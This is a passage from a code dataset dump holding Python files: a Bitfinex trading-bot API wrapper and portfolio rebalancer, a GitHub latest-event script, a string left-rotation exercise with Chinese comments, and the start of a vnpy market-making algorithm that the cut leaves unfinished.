history\n tdf = self._get_full_trade_history(k, start_date)\n tdf['currency_pair'] = k\n df = df.append(tdf)\n\n # process data so that it mirrors polo (legacy formatting / structure)\n df = self._process_raw_bfx_trade_history(df)\n df = df.sort_values('date', ascending = True).copy()\n\n return df\n \n # update the trade history db\n def _update_raw_trade_history_db(self, trade_history_df):\n \n if self.verbose: print('\\nadding to db')\n \n # convert to list of dict for easy db update :)\n recs = trade_history_df.to_dict('records')\n\n # connect to db\n conn = sqlite3.connect('db/raw.db')\n c = conn.cursor()\n\n # add values to table using parsed data\n for r in recs:\n c.execute(\"INSERT OR IGNORE INTO trade_history VALUES (?,?,?,?,?,?,?,?)\",\n [r['global_trade_id'],\n r['trade_id'],\n r['date'],\n r['currency_pair'],\n r['type'],\n r['rate'],\n r['amount'],\n r['total']\n ]\n )\n\n # commit changes\n conn.commit()\n conn.close()\n\n print('Successfully added trades to raw db.\\n')\n \n # used as a fallback if the partial/latest trade history cannot be retrieved with help from trade id\n def get_trade_history_from_raw_db(self, cp, recent_only = False):\n \n if recent_only:\n gtid_start = self._get_gtid_start()\n \n # connect to db and load data\n conn = sqlite3.connect('db/raw.db')\n \n # set query based on whether or not there is a global trade id from which to start the query\n if not recent_only:\n get_data_query = '''\n SELECT date, rate, amount, global_trade_id\n FROM trade_history\n WHERE currency_pair=\"%s\"\n AND trade_id=\"0\"\n ''' % cp\n \n elif recent_only:\n \n sub_query = '''\n SELECT *\n FROM trade_history\n WHERE global_trade_id>=%s\n ''' % gtid_start\n \n get_data_query = '''\n SELECT date, rate, amount, global_trade_id\n FROM (%s)\n WHERE currency_pair=\"%s\"\n AND trade_id=\"0\"\n ''' % (sub_query, cp)\n \n else:\n print('Invalid gtid_start, please enter None or an id (int).')\n return None\n\n # read into pandas\n df = pd.read_sql(get_data_query, conn)\n\n # close connection\n conn.close()\n\n return df\n\n # helper to get timedelta dynamically based off of candle being used\n def _get_timedelta(self):\n\n time_period = self.time_period.lower()\n\n # if candle is in minutes, split it and convert to seconds\n if 'min' in time_period:\n i = int(time_period.split('min')[0])\n sec = i * 60\n td = datetime.timedelta(seconds = sec)\n\n return td\n\n # if candle is in hours, split it and convert to seconds\n elif 'h' in time_period:\n i = int(time_period.split('h')[0])\n sec = i * 60 * 60\n td = datetime.timedelta(seconds = sec)\n\n return td\n\n # and if it's something new....\n else:\n print(time_period, 'is not recognized. Update with correct formatting (\"h\" or \"min\").')\n return None\n\n # helper to deduplicate a list whilst preserving order (unlike set)\n def _dedup_keep_order(self, seq):\n\n seen = set()\n seen_add = seen.add\n deduped = [x for x in seq if not (x in seen or seen_add(x))]\n\n return deduped\n\n def _chart_fillna(self, charts_df):\n \n if self.verbose: print('Some NaN values are found, scrubbing out.')\n\n # select all rows which have ANY NaN values\n nan_rows = charts_df[(charts_df['open'].isnull()) |\n (charts_df['high'].isnull()) |\n (charts_df['low'].isnull()) |\n (charts_df['close'].isnull()) |\n (charts_df['volume'].isnull())\n ].index.tolist()\n\n # add mean and median nan rows as well, as needed\n if self.inc_mean:\n nan_rows_mean = charts_df[charts_df['mean_trade_price'].isnull()].index.tolist()\n nan_rows += nan_rows_mean\n nan_rows = self._dedup_keep_order(nan_rows)\n if self.inc_median:\n nan_rows_median = charts_df[charts_df['median_trade_price'].isnull()].index.tolist()\n nan_rows += nan_rows_median\n nan_rows = self._dedup_keep_order(nan_rows)\n\n # for each of the null rows, take the data from the previous day and set volume to 0\n for row in nan_rows:\n delta = self._get_timedelta()\n charts_df.loc[row] = charts_df.loc[row - delta]\n charts_df.loc[row]['volume'] = 0\n\n return charts_df\n\n # process raw data to get OHLCV charts\n def _get_charts_from_raw(self, raw_trade_history_df, inc_mean = False, inc_median = False):\n\n # init mean and median inclusion\n # ... keeping the functionality, but it's really only useful in this function,\n # ... as the current processed table does not support either feature\n self.inc_mean = inc_mean\n self.inc_median = inc_median\n\n # convert date to dt\n raw_trade_history_df['date'] = pd.to_datetime(raw_trade_history_df['date'], unit = 's')\n raw_trade_history_df.index = raw_trade_history_df['date']\n raw_trade_history_df = raw_trade_history_df.drop('date', 1).copy()\n\n # get OHLCV charts\n charts = raw_trade_history_df['rate'].resample(self.time_period).ohlc()\n charts['volume'] = raw_trade_history_df['amount'].resample(self.time_period).sum().values\n\n # get the minimum trade id for each period -- used for quick db search (global trade id is pk)\n charts['min_global_trade_id'] = raw_trade_history_df['global_trade_id'].resample(self.time_period).min().values\n\n if self.inc_mean:\n charts['mean_trade_price'] = raw_trade_history_df['rate'].resample(self.time_period).mean().values\n if self.inc_median:\n charts['median_trade_price'] = raw_trade_history_df['rate'].resample(self.time_period).median().values\n\n # fill in any nans\n if charts.isnull().any().any():\n charts = self._chart_fillna(charts)\n\n return charts\n # converts a pandas dt str (they call it a timestamp, but it's not the timestamp in python's datetime),\n # that is based in the utc to the appropriate epoch time (timestamp). without this, the .timestep() method\n # assumes local tz (or that's how pandas is defining the tz on conversion)\n def _utc_timestamp(self, pd_utc_dt_str):\n return int(pd_utc_dt_str.replace(tzinfo=datetime.timezone.utc).timestamp())\n \n # pid is the pk and is a concatenatation of the pair and epoch time for easy update\n def _create_pid(self, chart_xdf):\n \n cp_array = chart_xdf.currency_pair.apply(lambda x: x.replace('_','').lower()).values.copy()\n timestamp_array = pd.Series(chart_xdf.index).apply(lambda x: str(self._utc_timestamp(x))).values.copy()\n pid = cp_array + '_' + timestamp_array\n\n return pid\n \n # process the stacked/appended/concatenated pair charts for the processed db\n def _process_charts_for_db(self, chart_xdf):\n\n # add pid and date cols\n chart_xdf['pid'] = self._create_pid(chart_xdf).copy()\n chart_xdf['date'] = pd.Series(chart_xdf.index).apply(lambda x: str(self._utc_timestamp(x))).values.copy()\n\n return chart_xdf\n \n # get the earliest of the latest gtids\n def _get_gtid_start(self):\n\n # get latest data from processed db\n df = self.get_processed_charts_from_db()\n\n # get the earliest trade ID from the last period, and then the period before that\n # this is to prevent incomplete trading periods in beteen updates\n last_gtid = int(df.groupby('currency_pair').max().min_global_trade_id.min())\n df = df[df.min_global_trade_id < last_gtid]\n gtid_start = int(df.groupby('currency_pair').max().min_global_trade_id.min())\n\n return gtid_start\n \n \n \n \n ############\n # EXTERNAL METHODS\n ###\n \n \n # 30 MIN ONLY TIME INVERVALS ONLY (!!!)\n # get the time at which the update trade history loop should be broken\n def get_period_end(self):\n \n '''\n TODO: RE-WRITE IT SO THAT OTHER TIME INTERVALS ARE ACCOMODATED\n '''\n \n # get the current time as a list\n now = [int(i) for i in datetime.datetime.now().strftime('%Y %m %d %H %M').split()]\n \n # determine which part of the hour we are currently in\n if (int(now[4]) - 30) < 0:\n now[4] = 30\n else:\n now[3] += 1\n # if the period end is during midnight, increase the\n # day by one and set it so it is 24hr time compatible\n if now[3] == 24:\n now[2] += 1\n now[3] = 0\n now[4] = 0\n \n # convert period end to epoch\n y, M, d, h, m = now\n period_end = int(datetime.datetime(y, M, d, h, m).timestamp())\n \n return period_end\n \n # method to update raw trade history db\n def update_trade_history(self, currency_pairs, reset_period_end = True, use_break = False):\n \n # need an option for the final post-period update\n if reset_period_end: self.period_end = self.get_period_end()\n \n # loop through each cp and add latest trade history to db\n for cp in currency_pairs:\n\n # get the latest trades and add to db\n df = self._get_latest_trade_history([cp])\n df = df[df.index < self.period_end].copy()\n self._update_raw_trade_history_db(df)\n self.pairs_updated.add(cp)\n\n # save the new last trade IDs\n self.last_trade_id_dict[cp] = int(df.iloc[-1,:].global_trade_id)\n \n del df\n \n # break the loop if the current trading period has ended\n if use_break and self._epoch_now() > self.period_end: break\n \n # and save the trade IDs to a csv for next time\n self._save_last_trade_id_dict(self.last_trade_id_dict)\n \n return None\n \n # method to update the processed trade history / charts db\n def update_processed_db(self, chart_xdf, process = True):\n \n if process:\n chart_xdf = self._process_charts_for_db(chart_xdf).copy()\n \n if self.verbose: print('\\nadding to db')\n\n # convert to list of dict for easy db update :)\n recs = chart_xdf.to_dict('records')\n\n # connect to db\n conn = sqlite3.connect('db/processed.db')\n c = conn.cursor()\n \n # build query and add to table\n # (there should be one or two period overlap, so use REPLACE)\n base_query = 'INSERT OR REPLACE INTO %s VALUES (?,?,?,?,?,?,?,?,?)' % self.processed_table_name\n\n for r in recs:\n c.execute(base_query,\n [r['pid'],\n r['date'],\n r['currency_pair'],\n r['min_global_trade_id'],\n r['open'],\n r['high'],\n r['low'],\n r['close'],\n r['volume']\n ]\n )\n \n # commit changes\n conn.commit()\n conn.close()\n\n print('Successfully updated processed db.')\n \n # retrieves, processes, and inserts all recent (i.e. hasn't\n # been added to processed db) trade history into processed db\n def add_raw_trade_history_to_processed_db(self, recent_only = True):\n \n # set empty dataframe for appending\n xdf = pd.DataFrame()\n\n # retrieve and process raw trade history for each pair\n for cp in self.currency_pairs:\n \n if self.verbose: print('processing', cp)\n df = self.get_trade_history_from_raw_db(cp, recent_only = recent_only)\n df = self._get_charts_from_raw(df).copy()\n df['currency_pair'] = cp\n xdf = xdf.append(df)\n \n # process charts and add to processed db\n self.update_processed_db(xdf)\n \n return None\n \n # load and format the processed data from the charts table\n def get_processed_charts_from_db(self):\n \n # load data from db\n conn = sqlite3.connect('db/processed.db')\n \n q = '''\n SELECT date, open, high, low, close, volume,\n currency_pair, min_global_trade_id\n FROM %s;\n ''' % self.processed_table_name\n \n df = pd.read_sql(q, conn)\n conn.close()\n \n # add dt index\n df.index = pd.to_datetime(df.date, unit = 's')\n df = df.drop('date', 1)\n \n return df\n \n # this will probably change depending on the algorithm, but this reformats / restructures\n # the data so that each column is a pair/feature combo (usdtbtc_close, usdteth_open, etc.)\n def reformat_for_online_algo(self, df, cols_to_include, base_index = 'USDT_BTC'):\n \n # filter down to cols needed\n df = df[cols_to_include + ['currency_pair']].copy()\n\n # init a df with dt index (BTC is default cuz it prob has the most data and is usually used)\n xdf = pd.DataFrame(index = df[df.currency_pair == base_index].index)\n\n # filter down to specific col, clean up name, and join with aggregate df\n for col in cols_to_include:\n for cp in self.currency_pairs:\n tdf = pd.DataFrame(df[df.currency_pair == cp][col]).copy()\n new_cols = [cp.lower().replace('_','') + '_' + col for col in tdf.columns.tolist()]\n tdf.columns = new_cols\n xdf = xdf.join(tdf, how = 'left')\n\n xdf = xdf.dropna().copy()\n\n return xdf\n \n # to be used when starting the bot, this gets the trade history and processes it for trading\n def run(self, update_interval = 600):\n \n self.pairs_updated = set()\n \n # make sure each pair is updated at least once :)\n while self.pairs_updated != self.pairs_to_update:\n \n # set trading period end and how many times history is retrieved each period\n self.period_end = self.get_period_end()\n n_updates, sleep_time = self._n_updates(update_interval = update_interval)\n \n # get trade history until trading period is over\n for i in range(n_updates):\n \n if self.verbose: print('Period End:', self.period_end)\n \n # update the trade history and break if it is the end of the period\n self.update_trade_history(currency_pairs = self.currency_pairs, use_break = True)\n \n # let's figure out where to go from here, shall we?\n now = self._epoch_now()\n if now > self.period_end: break\n if (self.period_end - now) > (sleep_time + 30):\n if self.verbose:\n print('\\n\\nTime left before end of period:', (self.period_end - now))\n print('Sleeping for:', sleep_time, 'seconds\\n\\n')\n sleep(sleep_time)\n \n # if loop ends early, sleep until end of period\n if self.verbose: print('Sleeping until end of the trading period...')\n sleep(self.period_end - now + 2)\n \n # update once more, process, and retrieve\n self.update_trade_history(currency_pairs = currency_pairs, reset_period_end = False)\n self.add_raw_trade_history_to_processed_db()\n latest_charts = self.get_processed_charts_from_db().copy()\n \n return latest_charts\n\n\n\n\n\n\n#####################\n#\n# BFX API Wrapper\n#\n########\n\nclass BFXClient(object):\n \n def __init__(self, key, secret, *args, **kwargs):\n '''\n Stores the username, key, and secret which is used when making POST\n requests to Bitfinex.\n '''\n \n self.BASE_URL = \"https://api.bitfinex.com\"\n self.KEY = key\n self.SECRET = secret\n self.cp_map = get_cp_map()\n \n \n def _nonce(self):\n '''\n Used in authentication. Returns a nonce that always needs to be\n increasing (essentially a unix timestamp)\n '''\n return str(int(round(time.time() * 1000)))\n \n \n def _verbose(self, **kwargs):\n '''\n Helper method to print the endpoint and payload\n '''\n path = kwargs['path']\n payload = kwargs['payload']\n \n print('\\nEndpoint:')\n print(self.BASE_URL + path)\n print('\\nPayload:')\n print(payload)\n \n \n def _headers(self, path, nonce, body):\n \n # create signature\n signature = \"/api\" + path + nonce + body\n \n # byte encode secret and sig\n h = hmac.new(self.SECRET.encode(), signature.encode(), hashlib.sha384)\n signature = h.hexdigest()\n\n return {\n \"bfx-nonce\": nonce,\n \"bfx-apikey\": self.KEY,\n \"bfx-signature\": signature,\n \"content-type\": \"application/json\"\n }\n \n \n def _post(self, **kwargs):\n \n # init args\n path = kwargs['path']\n verbose = kwargs['verbose']\n \n # build request\n nonce = self._nonce()\n body = {}\n rawBody = json.dumps(body)\n headers = self._headers(path, nonce, rawBody)\n \n # print payload for debugging\n if verbose:\n print('\\nEndpoint:')\n print(self.BASE_URL + path)\n print('\\nPayload:')\n print(\"{\"+self.BASE_URL + path + \", headers=\" + str(headers) + \", data=\" + rawBody + \", verify=True)}\")\n \n # post request\n r = requests.post(self.BASE_URL + path, headers = headers, data = rawBody, verify = True)\n \n # print status\n if r.status_code == 200:\n print('\\nSuccess!\\n')\n return r.json()\n else:\n print(r.status_code)\n print(r)\n return None\n \n \n def add_cp_mapping(self, standard_naming_key, bfx_naming_value):\n '''\n Add a new k/v to the bfx symbol map\n '''\n self.cp_map[standard_naming_key] = bfx_naming_value\n print('Successfully added', standard_naming_key)\n \n \n def v1_payload(self, payload):\n '''\n Used to build / pack the payload for Version 1 (v1) of the API.\n v1 is usually used when an action requires the use of the websocket on v2.\n '''\n \n # sign & pack payload\n j = json.dumps(payload)\n b = bytes(j, 'utf-8')\n data = base64.standard_b64encode(b)\n h = hmac.new(self.SECRET.encode(), data, hashlib.sha384)\n signature = h.hexdigest()\n \n packed = {\n \"X-BFX-APIKEY\": self.KEY,\n \"X-BFX-SIGNATURE\": signature,\n \"X-BFX-PAYLOAD\": data\n }\n\n return packed\n \n \n def v1_post(self, path, payload, verify = True):\n '''\n POST helper for v1 of the API\n '''\n \n # pack & sign\n signed_payload = self.v1_payload(payload)\n \n # post request\n r = requests.post(self.BASE_URL + path,\n headers = signed_payload,\n verify = verify\n )\n response = r.json()\n \n return response\n \n \n #########\n # API Actions\n ###\n \n def active_orders(self, verbose = False):\n '''\n Get the active orders for the current user.\n '''\n return self._post(path = '/v2/auth/r/orders', verbose = verbose)\n \n \n def new_order_v1(self, amount, price, side, order_type, symbol,\n exchange = 'bitfinex', verbose = False, print_response = True):\n '''\n Uses v1 API endpoint.\n Create a new order for a specified asset.\n '''\n # set path and build payload\n path = '/v1/order/new'\n payload = {\n \"request\": path,\n \"nonce\": self._nonce(),\n \"symbol\": symbol,\n \"amount\": amount,\n \"price\": price,\n \"exchange\": exchange,\n \"side\": side,\n \"type\": order_type\n }\n \n # post order\n response = self.v1_post(path, payload)\n if verbose: self._verbose(path, payload)\n \n # qa / print response\n try:\n response['order_id']\n print('Success!')\n if print_response:\n return response\n except:\n return response['message']\n \n \n def new_order(self):\n '''\n Uses v2 web socket API.\n Create a new order for a specified asset.\n '''\n pass\n \n \n def get_tickers(self, currency_pairs, use_cp_map = True):\n '''\n Get latest ticker for a specified currency pair.\n '''\n # format symbol for api\n symbol_str = ''\n for cp in currency_pairs:\n if use_cp_map:\n symbol_str += '%s,' % self.cp_map[cp]\n else:\n symbol_str += '%s,' % cp\n symbol_str = symbol_str[:-1]\n \n # call api and add results to df\n path = '/v2/tickers?symbols=%s' % symbol_str\n endpoint = self.BASE_URL + path\n ticker_df = pd.read_json(endpoint)\n ticker_cols = ['symbol', 'bid', 'bid_size', 'ask',\n 'ask_size', 'daily_change', 'daily_change_perc',\n 'last_price', 'volume', 'high', 'low'\n ]\n ticker_df.columns = ticker_cols\n \n # add standard symbol to index\n if use_cp_map:\n ticker_df.index = currency_pairs\n else:\n ticker_df.index = [self.cp_map[cp] for cp in currency_pairs]\n \n return ticker_df\n \n \n def get_last_price(self, currency_pairs):\n '''\n Get a Series of last prices for a list of currencies\n '''\n return self.get_tickers(currency_pairs).last_price\n \n \n def get_balances(self, wallet = 'exchange', verbose = False):\n '''\n Get the current balances for each asset owned.\n \n Wallet Names:\n - Exchange: 'exchange'\n - Margin: 'trading'\n - Funding: 'deposit'\n \n '''\n # set path and payload\n path = '/v1/balances'\n payload = {\n \"request\": path,\n \"nonce\": self._nonce()\n }\n \n # post order\n response = self.v1_post(path, payload)\n if verbose: self._verbose(path = path, payload = payload)\n \n # add to df and filter to wallet type\n balances = pd.DataFrame(response)\n balances = balances[balances.type == wallet][['currency', 'amount', 'available']]\n balances.index = balances.currency.str.upper()\n balances = balances.drop('currency', 1)\n \n return balances\n \n \n def get_wallet_value(self, wallet = 'exchange'):\n '''\n Return the USD value of the specified wallet. Based on the\n last price each asset was traded at.\n '''\n # get current balances for specified wallet\n balances = self.get_balances(wallet = wallet).amount\n \n # return a balance of 0 if there are no assets in the wallet\n if len(balances) == 0 or balances.values.astype('float').sum() < 1:\n return 0.0\n \n # format symbol naming for bfx and joining\n portfolio_bfx_symbols = ['t' + asset.upper() + 'USD' for asset in balances.index]\n balances.index = portfolio_bfx_symbols\n \n # exception for not having USDT in balance\n try: portfolio_bfx_symbols.remove('tUSDUSD')\n except: pass\n\n # get the ticker for each pair\n last_price = self.get_tickers(portfolio_bfx_symbols, use_cp_map = False)[['symbol', 'last_price']].copy()\n \n # join data\n last_price.index = last_price.symbol\n last_price = last_price.drop('symbol', 1)\n last_price['balances'] = balances\n \n # calc value of crypto holdings\n crypto_value = last_price.last_price.astype('float') * last_price.balances.astype('float')\n \n # and then add tether (it's dropped when joining with last_price so you have to add it here/now)\n try: wallet_value = float(crypto_value.sum() + float(balances['tUSDUSD']))\n except: wallet_value = float(crypto_value.sum())\n \n return wallet_value\n \n \n def get_account_value(self):\n '''\n Return the total USDT value of the account\n '''\n wallet_types = {'exchange': 'exchange', 'margin': 'trading', 'funding': 'deposit'}\n account_values = {}\n for k in wallet_types:\n print('Fetching', k)\n account_values[k] = float(self.get_wallet_value(wallet_types[k]))\n \n account_values = pd.DataFrame([account_values])\n account_values['total'] = float(account_values.values.sum())\n account_values = account_values.T.copy()\n account_values.columns = ['USD']\n \n return account_values\n \n \n def transfer_between_wallets(self, amount, currency, from_wallet, to_wallet, verbose = False):\n '''\n Transfer funds from one wallet to another (i.e. Funding to Margin)\n Wallet types: 'exchange', 'trading', 'deposit'\n \n PAYLOAD EXAMPLE:\n amount: \"1.0\"\n currency: \"BTC\"\n walletfrom: \"trading\"\n walletto: \"exchange\"\n \n '''\n # set path and build payload\n path = '/v1/transfer'\n payload = {\n \"request\": path,\n \"nonce\": self._nonce(),\n \"amount\": amount,\n \"currency\": currency,\n \"walletfrom\": from_wallet,\n \"walletto\": to_wallet\n }\n \n # post transfer\n response = self.v1_post(path, payload)\n #if verbose: self._verbose(path, payload)\n \n print(response)\n return None\n\n\n\n#############\n#\n# Actual trader which specifically handles the balancing of the portfolio\n#\n########\n\nclass Trader(BFXClient):\n \n def __init__(self, key, secret):\n \n super(Trader, self).__init__(key, secret)\n #self.type = type_\n \n # abnormal tickers that are shortened by bfx\n self.abnormal_tickers = {'DASH': 'DSH',\n 'IOTA': 'IOT'\n }\n \n # a somewhat specific helper to convert a dict with currency\n # pairs as keys into a dict with the *BFX* ticker symbol\n def _pair_dict_to_ticker_dict(self, pair_dict, ext_ticker_map = {}):\n\n # edit keys in target balance so that they match the index of current balance\n for k in pair_dict:\n pair_dict[k.replace('USDT_', '')] = pair_dict.pop(k)\n\n # some symbols are greater than three chars and bfx shortens them, fix that here :)\n if len(ext_ticker_map) > 0:\n for k in ext_ticker_map:\n pair_dict[ext_ticker_map[k]] = pair_dict.pop(k)\n\n return pair_dict\n\n def get_new_portfolio(self, capital, asset_weights, trading_fee = 0.003):\n '''\n capital: amount of capital to be invested\n asset_weights: Series; currency pair index, and weight / allocation per asset\n '''\n \n capital_per_asset = asset_weights * capital\n capital_per_asset *= (1 - trading_fee)\n last_price = self.get_last_price(asset_weights.index.tolist())\n\n # and get the quantity of each asset\n porfolio = capital_per_asset / last_price\n\n # return all :D\n return porfolio, capital_per_asset\n\n # calculate how much of each coin we need to buy / sell to balance portfolio\n def needed_to_balance(self, target_balance, additional_cp_mapping = {}):\n \n current_balance = self.get_balances()\n \n # check if all owned assets are available\n if (current_balance.amount.astype('float') -\n current_balance.available.astype('float')\n ).sum() > 0:\n print('Available Balance does not equal Total Balance. Please close Open Orders before proceeding.')\n return None\n\n # convert pairs into bfx-client-friendly symbols\n target_balance = self._pair_dict_to_ticker_dict(target_balance, additional_cp_mapping)\n\n # add to df\n current_balance['target_balance'] = pd.Series(target_balance)\n balances = current_balance.copy()\n balances = balances.astype('float')\n del current_balance, target_balance\n\n # add delta\n balances['assets_needed'] = (balances.target_balance - balances.available).round(4)\n\n return balances\n \n def calculate_rebalance(self, asset_weights):\n \n # get the number of each coin needed and the amount of capital for each asset\n porfolio, capital_per_asset = get_new_portfolio(capital = self.get_wallet_value(),\n asset_weights = asset_weights)\n \n # get a df of assets needed and sort by cost\n assets_needed = needed_to_balance(target_balance = dict(portfolio.round(4).to_dict()),\n ext_ticker_map = self.abnormal_tickers)\n \n # add to df\n assets_needed['price'] = pd.Series(self._pair_dict_to_ticker_dict(dict(last_price.to_dict()),\n abnormal_tickers))\n assets_needed['order_cost'] = assets_needed.assets_needed * assets_needed.price\n assets_needed = assets_needed.sort_values('order_cost')\n \n return assets_needed\n \n \n def rebalance_portfolio(self, asset_weights,\n fill_order_premium = 0.0, order_minimum = 25, print_api_response = False):\n \n # calculate what is needed per asset\n asset_balance_df = self.calculate_rebalance(asset_weights).copy()\n\n # drop any orders that are for less than minimum\n asset_balance_df = asset_balance_df[abs(asset_balance_df.order_cost) >= order_minimum].copy()\n\n print('Balancing the following assets:', asset_balance_df.index.tolist())\n\n # loop through each currency and create an order\n for asset in asset_balance_df.index:\n \n print('Balancing', asset)\n \n a = asset_balance_df.loc[asset]\n pair = asset.lower() + 'usd'\n amount = str(abs(a.assets_needed))\n \n if a.assets_needed < 0:\n side = 'sell'\n price = str(a.price * (1 - fill_order_premium))\n \n if a.assets_needed > 0:\n side = 'buy'\n price = str(a.price * (1 + fill_order_premium))\n \n # place order\n self.new_order_v1(amount = amount,\n price = price,\n side = side,\n order_type = 'exchange limit',\n symbol = pair,\n exchange = 'bitfinex',\n verbose = False,\n print_response = print_api_response\n )\n\n sleep(3)\n\n print('\\n\\nSuccessfully balanced portfolio\\n')","sub_path":"rltrader/wrappers.py","file_name":"wrappers.py","file_ext":"py","file_size_in_byte":42957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"96984683","text":"#!/usr/bin/env python3\n\"\"\"\nProject Name: github-latest\nFile Name: main.py\nAuthor: Travis Brackney\nClass: Python 230 - Self paced online\nDate Created 10/6/2019\nPython Version: 3.7.2\n\"\"\"\n\n\nimport sys\nimport json\n\nimport requests\n\n# Use Like python githubber.py JASchilz\n# (or another user name)\n\n\ndef get_event_time(username):\n base_url = \"https://api.github.com/\"\n events_url = f\"{base_url}users/{username}/events\"\n\n response = requests.get(events_url)\n parsed = json.loads(response.text)\n return parsed[0]['created_at']\n\n\nif __name__ == \"__main__\":\n username = sys.argv[1]\n\n # Done:\n #\n # 1. Retrieve a list of \"events\" associated with the given user name\n # 2. Print out the time stamp associated with the first event in that list.\n timestamp = get_event_time(username)\n\n print(timestamp)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"482034395","text":"# -*- coding:utf-8 -*-\n\nclass Solution:\n \"\"\"\n Problem:\n 汇编语言中有一种移位指令叫做循环左移(ROL),现在有个简单的任务,就是用字符串模拟这个指令的运算结果。\n 对于一个给定的字符序列S,请你把其循环左移K位后的序列输出。\n 例如,字符序列S=”abcXYZdef”,要求输出循环左移3位后的结果,即“XYZdefabc”。\n 是不是很简单?OK,搞定它!\n -----------------------------------------\n Think:\n 1、最开始的想法是,如果移动是位数没有超过字符串的位数,那么可以直接切割文本,然后拼接到最后。\n 如果左移的位数超过了字符串的位数,那么 n % length 就是需要左移的位数。\n 2、假设左移动3位置,不采用辅助空间,a = \"abc\",b = \"XYZdef\"反转为;\"cba\"\"fedZYX\"\n 然后再进行反转\n\n -----------------------------------------\n Idea:\n 1、直接计算左移的位数 n % length,然后切割字符串\n 2、通过3次反转获得需要的字符串,假设左移动3位置,不采用辅助空间,a = \"abc\",\n b = \"XYZdef\"反转为;\"cba\"\"fedZYX\",然后把cbafedZYX反转成:\n XYZdefabc\n\n\n -----------------------------------------\n Code[1]:\n def LeftRotateString(self, s, n):\n if (s is \"\"):\n return \"\"\n leftmove = n % len(s)\n newtail = s[:leftmove]\n newhead = s[leftmove:]\n return newhead + newtail\n\n -----------------------\n 运行时间:33ms\n 占用内存:5624k\n 量级:O(n)\n 空间:需要额外的空间n\n 优点:容易想到和实现\n 缺点:当字符串非常大时,需要额外的空间\n\n -----------------------------------------\n Code[2]:\n def LeftRotateString(self, s, n):\n if (s is \"\"):\n return \"\"\n slength = len(s)\n n = n % slength\n s = list(s) # 为了让字��串可以反转,转为list\n s = self.reversal(s,0,n-1)\n s = self.reversal(s,n,slength-1)\n s = self.reversal(s,0,slength-1)\n return \"\".join([i for i in s])\n\n def reversal(self,s,start,end):\n while start < end:\n s[start],s[end] = s[end],s[start]\n start += 1\n end -= 1\n return s\n\n -----------------------\n 运行时间:48ms\n 占用内存:5632k\n 量级:O(n)\n 空间:不需要额外的空间,但是由于python没有可变字符串,所以转为list纯粹实现下反转思想\n 优点:当字符串非常大时,不需要额外的空间,容易实现\n 缺点:不容易想到\n\n \"\"\"\n def LeftRotateString(self, s, n):\n if (s is \"\"):\n return \"\"\n slength = len(s)\n n = n % slength\n s = list(s) # 为了让字符串可以反转,转为list\n s = self.reversal(s,0,n-1)\n s = self.reversal(s,n,slength-1)\n s = self.reversal(s,0,slength-1)\n return \"\".join([i for i in s])\n\n def reversal(self,s,start,end):\n while start < end:\n s[start],s[end] = s[end],s[start]\n start += 1\n end -= 1\n return s\n\n\nif __name__ == \"__main__\":\n solution = Solution()\n print(solution.LeftRotateString(\"abcXYZdef\",3))\n","sub_path":"code/train/箭指Offer/src/左旋转字符串.py","file_name":"左旋转字符串.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"480665592","text":"from collections import defaultdict\nfrom decimal import Decimal\nfrom _datetime import datetime, timedelta\nfrom enum import Enum\nimport math\nimport random\nimport re\nimport requests\nimport time\n\nfrom vnpy.app.algo_trading import AlgoTemplate\nfrom vnpy.trader.utility import round_to\nfrom vnpy.trader.constant import Direction, Status, OrderType\nfrom vnpy.trader.object import AccountData, OrderData, TradeData, TickData\nfrom vnpy.trader.engine import BaseEngine\n\n\nclass LiquidMiningAlgo(AlgoTemplate):\n \"\"\"\"\"\"\n display_name = \"交易所 流动性挖坑\"\n\n default_setting = {\n \"vt_symbol\": \"\",\n \"price_offset\": 0.05,\n \"price_offset_max\": 0.1,\n \"volume\": 2,\n \"max_volume_ratio\": 0,\n \"interval\": 3,\n \"min_order_level\": 1,\n \"min_order_volume\": 0,\n \"sell_max_volume\": 0,\n \"buy_max_volume\": 0,\n \"auto_trade_volume\": 310,\n \"sell_max_ratio\": 1,\n \"buy_max_ratio\": 1,\n \"reward_ratio\": 0.01,\n \"min_pos\": 50000,\n \"max_pos\": 50000,\n }\n\n variables = [\n \"pos\",\n \"timer_count\",\n \"vt_ask_orderid\",\n \"vt_bid_orderid\"\n ]\n\n def __init__(\n self,\n algo_engine: BaseEngine,\n algo_name: str,\n setting: dict\n ):\n \"\"\"\"\"\"\n super().__init__(algo_engine, algo_name, setting)\n\n # Parameters\n self.vt_symbol = setting[\"vt_symbol\"]\n self.price_offset = setting[\"price_offset\"]\n self.price_offset_max = setting[\"price_offset_max\"]\n self.volume = setting[\"volume\"]\n self.max_volume_ratio = setting.get(\"max_volume_ratio\", 0)\n assert 0 <= self.max_volume_ratio <= 1\n self.interval = setting[\"interval\"]\n self.min_order_level = setting[\"min_order_level\"]\n self.min_order_volume = setting[\"min_order_volume\"]\n self.sell_max_volume = setting[\"sell_max_volume\"]\n self.buy_max_volume = setting[\"buy_max_volume\"]\n self.auto_trade_volume = setting[\"auto_trade_volume\"]\n self.sell_max_ratio = setting[\"sell_max_ratio\"]\n self.buy_max_ratio = setting[\"buy_max_ratio\"]\n self.reward_ratio = setting[\"reward_ratio\"]\n self.min_pos = setting[\"min_pos\"]\n self.max_pos = setting[\"max_pos\"]\n self.enable_ioc = setting.get(\"enable_ioc\", False)\n self.ioc_intervel = setting.get(\"ioc_interval\", self.interval)\n\n # validate setting\n assert self.price_offset <= self.price_offset_max\n assert 0 <= self.min_order_level <= 5\n\n # Variables\n self.pos = 0\n self.timer_count = 0\n self.vt_ask_orderid = \"\"\n self.vt_ask_price = 0.0\n self.vt_bid_orderid = \"\"\n self.vt_bid_price = 0.0\n self.origin_ask_price = 0.00000002\n self.origin_bid_price = 0.00000001\n self.last_ask_price = 0.00000002\n self.last_bid_price = 0.00000001\n self.last_ask_volume = 0.0\n self.last_bid_volume = 0.0\n self.total_ask_volume = 0.0\n self.total_bid_volume = 0.0\n self.ask_order_level = 0\n self.bid_order_level = 0\n\n self.last_tick = None\n self._init_market_accounts(self.vt_symbol)\n\n self.subscribe(self.vt_symbol)\n self.put_parameters_event()\n self.put_variables_event()\n\n def _init_market_accounts(self, active_vt_symbol):\n SYMBOL_SPLITTER = 